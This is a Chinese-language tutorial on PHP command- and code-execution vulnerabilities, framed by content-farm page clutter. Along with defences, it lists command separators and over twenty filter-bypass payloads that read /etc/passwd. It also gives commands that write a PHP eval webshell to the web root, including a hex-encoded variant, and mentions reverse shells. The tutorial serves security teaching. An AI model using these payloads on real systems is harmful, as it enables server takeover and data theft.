当前位置: 首页 > news >正文

网站建设先进事迹引流推广犯法吗

网站建设先进事迹,引流推广犯法吗,平面设计作品欣赏,企业网站建设有哪些书籍命令执行原理就是指用户通过浏览器或其他辅助程序提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。漏洞成因它所执行的命令会继承WebServer的权限,也就是说可以任意读取、修改、执行Web目录下的…

命令执行原理

就是指用户通过浏览器或其他辅助程序提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

漏洞成因

它所执行的命令会继承WebServer的权限,也就是说可以任意读取、修改、执行Web目录下的任何文件。能够进行命令执行的php函数一共有七个,分别是:system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),除函数外,倒引号( ` ` )内的内容也可以进行命令执行

命令执行漏洞形成的原因是web服务器对用户输入的命令安全监测不足,导致恶意代码被执行。

直接返回结果:

直接返回执行结果的有system()、exec()、shell_exec()、passthru()

<?php system('whoami'); ?>

返回文件指针:

popen()和proc_open()不会直接返回执行结果,而是返回文件指针。例如:

<?php popen('whoami >>C:/1.txt','r') ?>

这段程序执行后,我们可以在C盘根目录下看到1.txt文件,里面的内容是WebServer的用户名。在popen函数中,需要两个参数,一个是执行的命令,另一个是指针文件的连接模式,rw表示读写。

pcntl拓展 

pcntl是linux下的一个扩展,可以支持php的多线程操作,pcntl_exec()函数必须在该拓展安装的情况下才能执行,平时比较少见

倒引号

倒引号也可以执行命令,原理是调用shell_exec函数,一个简单的例子:

<?php echo `whoami`; ?>

程序执行后会输出当前WebServer的用户名。

命令分隔符

windows: && || & |
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

linux: && || & | ;
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

命令执行漏洞利用

1、可尝试进行反弹shell,搭建服务执行wget下载webshell。
2、写入webshell:
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义
假设需要写入<?php eval($_POST[wang]); ?>,方法如下:
Windows:
用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web
web可写目录加文件完整名字
Linux:
linux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web
web可写目录加文件完整名字
后面命令注入也有时间盲注和sql注入很像

命令执行绕过技巧

1、Linux场景

1)通配符绕过:cat /et?/p?*sswd
*匹配零个或多个字符
?匹配任意单个字符
[0-9]匹配范围内的数字
[abc]匹配已出的任意字符

2)命令拼接:可以用&、&&、|、||这几种方式进行命令拼接
ls & cat /etc/passwd

3)注释符#进行绕过
cat /etc/passwd #anything

4)编码绕过
URL编码是web端进行命令执行绕过最常用的方法
cat%20%2Fetc%2Fpasswd
base64编码绕过:将想要执行的命令进行base64编码,然后添加到下面的双引号里面
echo "d2hvYW1p" | base64 -d | bash

5)$IFS空字符绕过
cat$IFS/etc/passwd
cat$IFS$1/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd

6)字符拼接
cat /"e"tc/'p'a's'swd

7)转义拼接
\c\a\t /etc/passwd

8)命令拼接
a=ca;b=t;$a$b /etc/passwd

9)填充垃圾字符绕过
cat /etc/passwd xxx
666`whoami`666

10)分号(;)
pwd;whoami

11)反引号``和$()
echo "result : `whoami`"
echo "result : $(whoami)"

12)重定向绕过(可绕过空格)
cat<>1.txt
cat<1.txt

13)单引号和双引号
c""at 1.tx''t

14)反斜杠\绕过
c\a\t 1.t\x\t

15)$1、$@、$*绕过$1、$@、$*绕过
c$1a$1t 1.t$1$1x$1t
c$@a$@t 1.t$@x$@t
c$*a$*t 1.t$*x$*t

16)绕过长度限制
使用>>绕过长度限制,使用>>每次添加一部分命令到文件中。
echo -n "cat " > r;
echo -n "/etc" >> r;
echo "/passwd" >> r;
cat r | bash
使用\绕过
ca\
t 1.t\
xt

17)逗号绕过空格
{cat,/etc/passwd}

18)\x20绕过
COMMAND=$'\x20-al';ls$COMMAND
COMMAND=$'\x20';ifconfig$COMMAND
COMMAND=$'\x20';whoami$COMMAND
COMMAND=$'\x20';id$COMMAND
COMMAND=$'\x20';pwd$COMMAND

19)环境变量绕过
打印出环境变量,然后截取其中的字符,通过字符拼接执行命令。
echo ${PATH}
echo ${PATH:5:1}
echo ${PATH:2:1}
${PATH:5:1}${PATH:2:1}

20)文件名绕过
拼接文件名绕过
cat fl[abc]g.txt //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;b=l;c=ag;d=.txt;cat $a$b$c$d //内联执行,表示cat flag.txt
正则进行匹配
cat /???/??????
cat /???/pass*
cat /etc$u/passwd

2、windows场景

1)type绕过命令执行(windows)
type.\flag.txt
type,flag.txt

2)使用特殊符号进行绕过
whoami
who^am^i
who""ami"i"
who""""ami

3)set命令绕过
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行

4)使用ping绕过执行命令
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"

漏洞危害

继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透

防御措施

1、尽量不要使用系统执行命令,以免造成不必要的危害
2、在执行命令函数、方法前,变量一定要做好过滤,对敏感字符进行转义
3、使用动态函数之前,确保使用的函数是指定的函数,避免使用用户输入的函数
4、对PHP语言来说,不能完全控制的危险函数最好不要使用
PHP内置的两个函数可以有效防止命令执行:
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

代码执行漏洞原理

代码执行漏洞是指 攻击者利用 将字符串转化成代码的函数 , 进行代码注入

代码执行漏洞成因

代码执行漏洞主要有两种产生原因:代码执行函数和动态函数执行,在php中还存在双引号执行的情况。常见的导致代码执行的函数有:eval()、assert()、preg_replace()、call_user_func()、array_map()等,它们造成漏洞的原因也给不一致。

代码执行相关函数

PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec
Java: Java中没有php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞。

漏洞分类

1.代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函来调用:
system("/bin/program --arg$arg");
2.系统的漏洞造成命令注入
bash破壳漏洞(CVE-2014-6271)
3.调用的第三方组件存在代码执行漏洞
如WordPress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行

修复方案

1.尽量少用执行命令的函数或者直接禁用
2.参数值尽量使用引号包括
3.在使用动态函数之前,确保使用的函数是指定的函数之一
4.在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
5.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
6.对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
7.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。

命令执行漏洞与代码执行漏洞的区别

1、命名执行漏洞:直接调用操作系统命令
命令执行漏洞原理:在操作系统中,"&、| 、||"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
2、代码执行漏洞:靠执行脚本代码调用操作系统命令
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、poc_popen、escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞。以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个。

代码执行漏洞是把代码注入到Web服务器中执行,而命令执行漏洞执行的系统命令

http://www.hkea.cn/news/404956/

相关文章:

  • 做简报的网站广州搜发网络科技有限公司
  • 南乐县住房和城乡建设局网站制作网站的步骤是什么
  • 金华做网站最专业的公司搜易网提供的技术服务
  • wordpress适合门户网站吗怎么营销自己的产品
  • 常用的网站类型有哪些seo优化专员编辑
  • 网站专题框架怎么做海阳seo排名
  • 手机网站代码下载黄页网站推广服务
  • 做网站前端多少钱在线bt种子
  • wordpress+模版+推荐专业网站seo推广
  • 浦项建设公司员工网站2023免费推广入口
  • 如何查询某个网站的设计公司最新推广注册app拿佣金
  • 八宝山做网站公司打广告
  • wordpress vip查看插件南宁seo费用服务
  • 建站之星模板怎么设置手机如何做网站
  • 上海公司网站制作价格西安百度关键词排名服务
  • 长沙网页制作开发公司aso优化方案
  • 深圳罗湖网站制作成人电脑基础培训班
  • 无锡网站制作咨询深圳网站设计十年乐云seo
  • 大连城市建设网站seo优化顾问服务阿亮
  • 福州 网站建设沈阳seo关键词排名优化软件
  • 做网站还要买服务器吗镇江seo
  • 专门做特价的网站优化排名案例
  • 网站建设的一些问题友链交易交易平台
  • 创业初期要建立公司的网站吗seo排名优化代理
  • 做网站全屏尺寸是多少钱站长工具查询系统
  • 做企业平台的网站有哪些手机网站制作教程
  • 免费行情的软件大全下载北京公司排名seo
  • 网站联系方式要素qq群推广链接
  • div css 网站模板免费的云服务器有哪些
  • 35互联做网站好吗网店运营工作内容